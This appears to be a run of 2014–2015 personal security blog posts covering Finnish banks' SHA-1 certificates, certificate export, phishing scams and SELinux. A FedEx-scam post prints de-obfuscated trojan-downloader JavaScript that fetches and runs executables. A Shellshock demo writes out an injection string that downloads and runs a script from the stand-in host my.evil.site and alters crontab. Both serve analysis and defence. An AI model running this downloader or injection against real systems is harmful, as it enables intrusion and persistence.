What they're doing is not directly illegal or banned, but the way they're doing their "marketing" is dubious at best. They even are running a website, it has business information and "reviews" of those businesses in it. However, some of the businesses are already shut down, and the reviews are very fake. But again, in a court of law, they'll claim, that they're running a marketing business.
In the terms and conditions part, they make it clear, that their "contract" is valid for companies only, that way consumer protection laws don't apply to them. What's between two businesses has very little protection in the legislation. A company can agree to a contract if they wish to do so.
I don't think this will be the last of them.
Beware!
SHA1 Certificates being used By Finnish financial organizations
Friday, March 6. 2015
I was browsing news feeds and read an article about Danske Bank not using SHA-256 certificate (article in Tivi, in Finnish only) in its online bank. "So what? Big deal, huh. Nobody else does either." was my instant thought. 15 seconds later ... but do they really? Let's investigate.
The reasoning about the article is, that Goole is Gradually sunsetting SHA-1. That is something they announced in September 2014, giving plenty of time for service admins to react. Google's Chrome will display HTTPS using less than SHA-256 signed certificate which is valid past 1st Jan 2017 like this:
Anbody, who takes your security seriously will be displayed like this:
The difference is with the green lock, or lack of it. Most users don't care about the lock anyway, so lot of fuss about nothing.
The bad
Organization | URI | Expiry | Certificate signature | Certificate issuer | Intemediate certificate issuer(s) |
---|---|---|---|---|---|
Danske Bank | www.danskebank.fi | 2017-06-20 | SHA-1 | GMO GlobalSign | |
OP-Pohjola | www.op.fi | 2015-12-12 | SHA-1 | Symantec | VeriSign |
Nordea Pankki | solo1.nordea.fi | 2016-04-22 | SHA-1 | VeriSign | |
Ålandsbanken | online.alandsbanken.fi | 2015-07-29 | SHA-1 | DigiCert | |
POP Pankki | www.poppankki.fi | 2017-03-28 | SHA-1 | VeriSign | |
Luottokunta (Nets) | dmp2.luottokunta.fi | 2016-03-03 | SHA-1 | VeriSign | |
Paytrail | account.paytrail.com | 2015-05-15 | SHA-1 | VeriSign |
The good
Organization | URI | Certificate signature | Certificate issuer | Intemediate certificate issuer(s) |
---|---|---|---|---|
S-Pankki | www.s-pankki.fi | SHA256 | Symantec Class 3 EV SSL CA - G3 (SHA256) |
VeriSign |
Aktia Pankki | auth.aktia.fi | SHA256 | Symantec Class 3 EV SSL CA - G3 (SHA256) |
VeriSign |
Säästöpankki | www4.saastopankki.fi | SHA256 | Symantec Class 3 EV SSL CA - G3 (SHA256) |
VeriSign |
Handelsbanken | www4.handelsbanken.fi | SHA256 | Symantec Class 3 EV SSL CA - G3 (SHA256) |
VeriSign Class 3 Public Primary Certification Authority - G5 (SHA-1) |
The conclusion
Apparently somebody does. As it happens, all the banks having SHA-256 certificates are from same source: Symantec/Verisign. However, most of the institutions haven't had the time to react. There is no point to finger point (pun intended) one of them.
The information was gathered with Gnu TLS command-line tool (gnutls-cli --print-cert
).
Goodbye Maxthon
Thursday, February 19. 2015
I have a policy of running a lot of different browsers on my computers. The idea is to gain experience of what works and what won't. When doing web development, any run-of-the-mill developer gets a tunnel vision and starts spewing out the classic "it works for me!" -style answers, when there are issues with a site.
So, I'm fighting hard to defeat that by using a lot of different browsers. One of my tools has been Maxthon browser. It isn't anymore. Goodbye Maxthon!
I was reading an article about "Lenovo PCs ship with man-in-the-middle adware that breaks HTTPS connections" and went to https://filippo.io/Badfish/ to check my browser. Amazingly it showed YES:
Whaat!
If I download the https://badfish.filippo.io/yes.png directly, then there is a proper notification about the problem:
... but seeing the picture embedded nicely in a website means, that the browser won't bother checking while rendering a page. Anybody can display anything on a web page and I won't get any information about the dropped security. Not good.
There is no other way, than to uninstall. I absolutely won't recommend using anything that insecure!
Exporting a website certificate
Tuesday, February 10. 2015
This one was a tough one for me. Not technically, but mentally. I wrote about Java 1.7 update 51 breaking Cisco ASDM and how to fix it. Two separate users had the same problem, they didn't know how to get their hands on the Cisco certificate which is required.
My dilemma here is:
So, you're in charge of heavy machinery called a firewall, but you don't know how to get a certificate out of a website, huh!
This s a basic task for any security-minded admin, it's obvious that the skills required and skills available are pretty far from each other. Should I give instructions for this basic task, only to postpone the inevitable?
I guess I should.
Method 1: GnuTLS (the best option)
If you happen to have GnuTLS installed, it has an excellent command-line utility. This is mostly in Linux, but I have one running on Windows via Cygwin. Not all Linux distros have this one installed by default. It is easily available on all distros, though.
Example run (information has been omitted for brevity):
# gnutls-cli --print-cert blog.hqcodeshop.fi Resolving 'blog.hqcodeshop.fi'... Connecting to '81.22.252.148:443'... - Certificate type: X.509 - Got a certificate list of 2 certificates. - Certificate[0] info: - subject ..., SHA-1 fingerprint `c87f57f182cd10be0d16b52c5a41c4a915593e6b' Public Key Id: c6a1e7cd6139f2ec8872e0a198b2a15a26fe1461 Public key's random art: +--[ RSA 2048]----+ | | | | | E . | | . . o . . | | . . S = | | + + B o | |ooo+ o . = | |*=o o .. o | |*o.. o. . . | +-----------------+ -----BEGIN CERTIFICATE----- MIIEqzCCA5OgAwIBAgIDAih/MA0GCSqGSIb3DQEBCwUAMEcxCzAJBgNVBAYTAlVT ... nklApvqYviZIwv20nMLwHjtf71ycGZumzNNWQrECBgNWYhFuNyaNe3nzO5fym6o= -----END CERTIFICATE----- - Certificate[1] info: - subject ..., SHA-1 fingerprint `0e34141846e7423d37f20dc0ab06c9bbd843dc24' -----BEGIN CERTIFICATE----- MIIEJTCCAw2gAwIBAgIDAjp3MA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVT ... ZI3NjGFVkP46yl0lD/gdo0p0Vk8aVUBwdSWmMy66S6VdU5oNMOGNX2Esr8zvsJmh gP8L8mJMcCaY -----END CERTIFICATE----- - Status: The certificate is trusted. - Description: (TLS1.2-PKIX)-(ECDHE-RSA-SECP256R1)-(AES-128-CBC)-(SHA256) - Ephemeral EC Diffie-Hellman parameters - Using curve: SECP256R1 - Curve size: 256 bits - Version: TLS1.2 - Key Exchange: ECDHE-RSA - Server Signature: RSA-SHA1 - Cipher: AES-128-CBC - MAC: SHA256 - Compression: NULL - Handshake was completed - Simple Client Mode:
Just hit ctrl-d or ctrl-c when the Simple Client Mode -prompt appears. You could actually talk HTTP to the server with that, but for getting the certificate it is not needed. The cert is already out there, just copy it and save it in a file. The 2nd cert is only intermediate CA certificate and it can be downloaded from web.
If you want to see the omitted information, just run the command. A public certificate is as public as anything in the net, there is no point in trying to hide it.
Method 2: OpenSSL (the popular option)
This method will work on any Linux or Mac OS X. There are couple of OpenSSL implementations for Windows, so most boxes should be able to run this one.
Why this isn't the best option is, because OpenSSL client doesn't do proper SNI. In the example below, it returns the wrong certificate. Not the one requested. If your site isn't sharing an IP-address, this will work for you.
Example:
# openssl s_client -connect blog.hqcodeshop.fi:443 CONNECTED(00000003) depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA verify return:1 depth=1 C = US, O = GeoTrust Inc., CN = RapidSSL SHA256 CA - G3 verify return:1 depth=0 OU = GT61328546, ..., CN = *.hqsting.net verify return:1 --- Certificate chain 0 s:/OU=GT61328546/.../CN=*.hqsting.net i:/C=US/O=GeoTrust Inc./CN=RapidSSL SHA256 CA - G3 1 s:/C=US/O=GeoTrust, Inc./CN=RapidSSL CA i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA --- Server certificate -----BEGIN CERTIFICATE----- MIIErjCCA5agAwIBAgIDAit7MA0GCSqGSIb3DQEBCwUAMEcxCzAJBgNVBAYTAlVT ... TP3W1usGKSJ+fipYhc9ZTUFVs+g3FZ+m3Sltyfb/motM06EP6eq5heDxxPquEhaq OsY= -----END CERTIFICATE----- subject=/OU=GT61328546/.../CN=*.hqsting.net issuer=/C=US/O=GeoTrust Inc./CN=RapidSSL SHA256 CA - G3 --- No client certificate CA names sent Server Temp Key: ECDH, prime256v1, 256 bits --- SSL handshake has read 2921 bytes and written 415 bytes --- New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES128-SHA256 Server public key is 2048 bit Secure Renegotiation IS supported Compression: NONE Expansion: NONE SSL-Session: Protocol : TLSv1.2 Cipher : ECDHE-RSA-AES128-SHA256 Session-ID-ctx: Key-Arg : None Krb5 Principal: None PSK identity: None PSK identity hint: None TLS session ticket lifetime hint: 300 (seconds) ... Start Time: 1423326309 Timeout : 300 (sec) Verify return code: 0 (ok) --- DONE
Just hit ctrl-d or ctrl-c at the prompt. Again, you're at the HTTP-mode now and could talk to the web-server. The certificate is waiting on the screen to be copied and saved to a file.
Method 3: Firefox (the easy option)
Exporting a certificate of a website is implemented in Firefox browser.
Click the lock-symbol:
A small dialog will open. Select More information:
A big dialog with lot of information about the site will open up. One of the options is to View Certificate. Select it:
Step 4:
Select the bottom sertificate and export it. It will open a save as -dialog:
That's it! Now you have the certificate saved.
Apple ID Scam: Part 2
Sunday, January 25. 2015
Asking for people's password seems to be a very lucrative business. See this clip from Jimmy Kimmel Live: What is Your Password? Of course it is a scripted show and nothing they make you believe happened for real didn't, but still: its very funny one and there is a lot of truth behind that one. People do give out their passwords way too easy.
A while back I wrote about a previous attempt to phish for Apple ID. Also this scam for Google passwords turned out to be a great success for the author of the scam.
Anyway, this time I got an email from Philippines saying:
Dear Apple Customer,
We just need to verify that this email address belongs to you. Simply click the link below and sign in using your Apple ID and password.
Verify Now >
Wondering why you got this email?
It's sent when someone adds or changes a contact email address for an Apple ID account. If you didn't do this, don't worry. Your email address cannot be used as a contact address for an Apple ID without your verification.
For more information, see our frequently asked questions.
Thanks,
Apple Customer Support
The mail looked like this:
This wasn't an especially well executed scam. Scamsters had cracked some innocent (but incapable sysadmin) person's Joomla 2.5.27 installation and injected "bonus" content into it. This is how the site looked like:
Convincing, but only if you keep your eyes out of the address-bar. This is a classic: no HTTPS, quite a weird path. Personally I don't understand how anybody could fall into this trap. Still many do, and get their iPhone contents spread all over the internet.
When discussing with non-security people about these recent account hijackings, I often get a reply of "I don't have anything to hide!". Still my standard reply to that is, "Well, gimme your password, then". They never do.
Google Drive scam
Thursday, January 22. 2015
"A friend" received and e-mail with badly translated text in it. The translation into Finnish was so bad that I couldn't even read it myself. But as always, there was something to lure innocent user to click. A shortened link.
In this case, the link wasn't especially dangerous. It didn't exploit any security flaws or didn't do anything dangerous. It simply landed on some innocent victim's WordPress 3.9.3 site with some "bonus" material injected into it. At the time of writing, latest WP version is 4.1.
The users were presented a "Google Drive login" page:
Would you enter your credentials into that one?
Well ... somebody did. That somebody didn't have 2-factor authentication in use. It resulted in similar spam sent to every single person found from address book or recent e-mails. It is yet to be determined, what else happened.
The login screen is a no-brainer: it has no HTTPS enabled, the address bar clearly states something else than Google, there is no way this site was created or endorsed in any way by Google. All the alarms should be ringing when one sees that kind of page ... but no.
And for god's sake: enable the 2FA now! Even this scam would have been prevented if one would have been in use.
E-mail Trojan Downloader: FedEx scam
Thursday, December 18. 2014
Today I got en e-mail from "FedEx" with subject Unable to deliver your item, #000203546. How nice of them! I hadn't ordered anything and wasn't expecting a shipment to arrive. Closer inspection of the e-mail revealed, that it contais a .zip-file and the zip-file contained a single document with extension .doc.js. An obvious scam!
Origins of the e-mail directed to Brazil, where somebody is running a Windows Server 2003 and SMTP-service enabled in it. Apparently, it is mis-configured, or couple of critical security patches weren't installed in time, as now the box is heavily compromised. The specific e-mail address they wanted to reach me is dedicated to domains I own. They are on public record anyway, so somebody could picked up my contact info from any of the domains I have.
The JavaScript-file from zip-file was heavily obfuscated, but in human-readable format it contained something like this:
gvar a1 = '';
function msjk() {
a1 += 'ave';
rus();
};function phqe() {
a1 += 'cume';
tzly();
};
...
function jfn() {
eval(a1);
};
...
function lkgj() {
a1 += '9.e';
xnk();
};
vi();
When all those functions are executed to the point of eval(), the de-obfuscated code is something like this:
function dl(fr, fn, rn) {
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange =
function() {
if (xo.readyState === 4) {
var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn, 2);
xa.close();
};
};
try {
xo.open("GET", fr, false);
xo.send();
if (rn > 0) {
ws.Run(fn, 0, 0);
};
}
catch (er) {};
};
dl(...);
dl(...);
dl(...);
So, it liked to download and execute 3 files on my computer. However, the code is heavily Internet Explorer -specific and it didn't much work on my Firefox.
The 3 payloads in question download as 1135.jpg, 3711.jpg and 650.jpg, but the JavaScript code will save them as .exe-files. The compromised server where the payload-files are downloaded from is in New Jersey, USA. It is an IIS web server running an application made with .Net. At the time of writing this, the trojan payloads were still being delivered at the address.
The application at payload deployment site has even counter-measures built into it. When I tried downloading the payloads with a wget, it delivered 0 bytes. To get past the check a simple:
wget --user-agent="Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko"
will work.
All of the payloads are known malware, and when my Windows-box saw them over a network share, it didn't like them and informed me that I have a virus in my computer.
Anyway, as a conclusion the trojan downloader is targeting gullible persons running a version of IE. My virus protection already knew of the downloader, so it isn't much of a threat. Also, this is yet another proof of the importance of server security. The bad news for rest of us is, that those guys need only one badly administered box and they can taint the entire Internet.
SElinux and Shellshock
Sunday, December 14. 2014
The fallout from Shellshock seems to be over, but I ended up in a conversation about SElinux. So, this post is a follow-up on my Helsinki Security Meetup -post about SElinux.
Part 1: Enabling Shellshock
At this point, a flawed Bash isn't available without an intentional downgrade. First check the current version on my CentOS 7:
# rpm -q bash
bash-4.2.45-5.el7_0.4.x86_64
# bash --version
GNU bash, version 4.2.45(1)-release (x86_64-redhat-linux-gnu)
Then do a downgrade (it's amusing how downgrade is done via an upgrade command):
rpm --upgrade -h --oldpackage \
ftp://ftp.sunet.se/pub/Linux/distributions/centos/7.0.1406/os/x86_64/Packages/bash-4.2.45-5.el7.x86_64.rpm
Then check the version to make sure:
# rpm -q bash
bash-4.2.45-5.el7.x86_64
# bash --version
GNU bash, version 4.2.45(1)-release (x86_64-redhat-linux-gnu)
Somebody really dropped the ball there. It is impossible to determine if shellshock has been fixed or not. The version of Bash won't change! Anyway, the RPM-version tells the truth.
Part 2: The Setup
To act responsibly, I won't show how you can pop the cork of somebody's server. Instead, I created a demo application of my own which contains code similar to known flaws which allow Shellshock to do its dirty deeds.
The basic idea of my demo is to create a TCP-socket -based application to display current date and time on chosen locale. Full C-source code for date_daemon.c is available. From security perspective my code isn't that bad. This time (see the previous SElinux post), it doesn't allow you to run any command you like, but it runs date-comand from bash without any parameters. The part where I mess up, is that I don't sanitize or check the user input. To allow Shellshock to kick in, I'll set the un-sanitized user input into an environment variable LANG. If any sensible locale is entered, it will display the current date and time in the given format.
Example:
Hello there!
Get date at my box by entering your LANG preference and <enter>:
fi_FI
to 13.11.2014 02.43.10 +0200
From SElinux-perspective, I chose to emulate DHCPd-behaviour. There would have been other choices, but ... this time I went this way for a no particular reason. The source code can be compiled with a simple: gcc date_daemon.c -o date_daemon
Then to allow SElinux to kick in a shell-script and specific file-contexts are required. The start script (start.date_daemon.sh) is a very simple:
#!/bin/bash
exec ./date_daemon
Then change the file contexts:
chcon -t dhcpd_exec_t date_daemon
chcon -t initrc_exec_t start.date_daemon.sh
And confirm the result, that everything is set correctly from SElinux-perspective:
# ls -Z
-rwxr-xr-x. root root unconfined_u:object_r:dhcpd_exec_t:s0 date_daemon
-rw-r--r--. root root unconfined_u:object_r:admin_home_t:s0 date_daemon.c
-rwxr--r--. root root unconfined_u:object_r:initrc_exec_t:s0 start.date_daemon.sh
One last thing is that an Enforcing DHCPd cannot bind to any TCP-port you want. As I used TCP/8282, it needs to be allowed:
semanage port --add -t dhcpd_port_t -p tcp 8282
Then it is possible to run the leaky daemon: ./shellshock_test.sh
Finally, we'll confirm, that the process is running in DHCPd-context (in my case, the PID for the process is 25964):
# ps -Z 25964
LABEL PID TTY STAT TIME COMMAND
unconfined_u:system_r:dhcpd_t:s0 25964 ? S 0:00 ./date_daemon
Remember to make sure, that SElinux is in enforcing-mode. If it isn't it would be the same thing as running without SElinux:
# getenforce
Enforcing
All ok this far, let's move on for the good stuff.
Part 3: The Attack
Now that the sample daemon is running and SElinux is in enforcing-mode, let's run a sample attack on it. The set of commands I made up for this purpose is as follows:
- Get shellshock'd:
() { :;}; - Change into a target directory:
cd /bin ; - Create a temporary shell script injector.sh:
- rm nasty.worm.sh ;
- wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ;
- rm injector.sh ;
- bash nasty.worm.sh
- Run the injector-script:
bash injector.sh
The particular nasty worm in this example is a shell-script:
#!/bin/bash
now=$(date)
echo "$now: Your box is pwned!"
echo "$now: Your box is pwned!" >> /tmp/pwn.log
echo "# $now: Your box is pwned!" >> /etc/crontab
It won't do much harm. It simply gets the current date and time into a variable and prints it to standard output, into a log file and finally it modifies crontab-file to simulate a worm keeping itself alive.
Try injecting a new command into /bin/ (notice, the command in bold is a single line):
$ telnet localhost 8282
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Hello there!
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /bin ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh' > injector.sh ; bash injector.sh/bin/bash: injector.sh: Permission denied
bash: injector.sh: No such file or directory
Connection closed by foreign host.
Notice how it will fail on injecting.
Let's try something else. This is a typical comment that I get a lot: "but it can write into /tmp/!". Sure it can, let's try that:
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /tmp ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://my.evil.site/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh' > injector.sh ; bash injector.sh
2014-11-13 05:01:35 URL:http://my.evil.site/nasty.worm.sh [156/156] -> "nasty.worm.sh" [1]
Thu Nov 13 05:01:35 EET 2014: Your box is pwned!
nasty.worm.sh: line 6: /etc/crontab: Permission denied
Connection closed by foreign host.
Nice, this time it actually did something. wget ran ok and it actually attempted to inject something. But the fact remains: it still runs with DHCPd-context which means it cannot do much. See:
# ls -Z /tmp/
-rw-r--r--. root root unconfined_u:object_r:dhcpd_tmp_t:s0 nasty.worm.sh
-rw-r--r--. root root unconfined_u:object_r:dhcpd_tmp_t:s0 pwn.log
Even the newly created files are in DHCPd tmp -context, they won't do much harm there.
Part 4: Let's Play what-if, Permissive SElinux
Permissive, Disabled or no SElinux at all will result in something else. Let's weaken the security first:
# setenforce Permissive
# getenforce
Permissive
Like this:
Get date at my box by entering your LANG preference and <enter>:
() { :;}; cd /bin ; echo 'rm nasty.worm.sh ; wget --no-verbose --output-document=nasty.worm.sh http://blog.hqcodeshop.fi/nasty.worm.sh ; rm injector.sh ; bash nasty.worm.sh' > injector.sh ; bash injector.sh
2014-11-13 05:02:30 URL:http://my.evil.site/nasty.worm.sh [156/156] -> "nasty.worm.sh" [1]
Thu Nov 13 05:02:30 EET 2014: Your box is pwned!
Connection closed by foreign host.
Yes, you'll have a brand new command sitting in /bin/:
# ls -Z /bin/nasty.worm.sh
-rw-r--r--. root root unconfined_u:object_r:bin_t:s0 /bin/nasty.worm.sh
Also your crontab will have a nice new row:
# cat /etc/crontab
...
# Thu Nov 13 05:02:30 EET 2014: Your box is pwned!
Not cool!
Part 5: Wrap-up
See: SElinux protects you even if you have software security failing.
Learn it! Love it! :-)
Apple ID Scam
Sunday, December 7. 2014
Looks like somebody at Moldova was following The Fappening, and is getting bright ideas. I got an e-mail like this into one of my honeypot-addresses:
The fake e-mail goes like this:
Subject: Your apple id has been disabled 05/12/2014 09:44:30
Dear Customer;
We need to ask you to complete a short and brief step to securing and validating your account information.
https://appleid.apple.com
Failure to complete our validation process will result in a suspension of your Apple ID.
We take every step needed to automatically validate our users; unfortunately in your case we were unable to. The process only takes a couple of minutes and will make sure there is no interruption to your account.
I wasn't much surprised by that, becuse I don't use that account for anything serious (like Apple ID). I checked the link before clicking, obviously it wasn't to apple.com, but to a hijacked site located at Moldova. Somebody innocent was running an unpatched WordPress, and the crooks added some "bonus" content to the site. the HTML said: <meta name="generator" content="WordPress 3.5.1" />. The "apple ID" site looked pretty good (except, no HTTPS and that the address bar didn't match):
At the time of publishing this post, the victim-site has been pulled off the air, so there is no point in going there anymore.
Anyway, this is a yet another proof to be careful out there. In the Internet, most things aren't what they seem.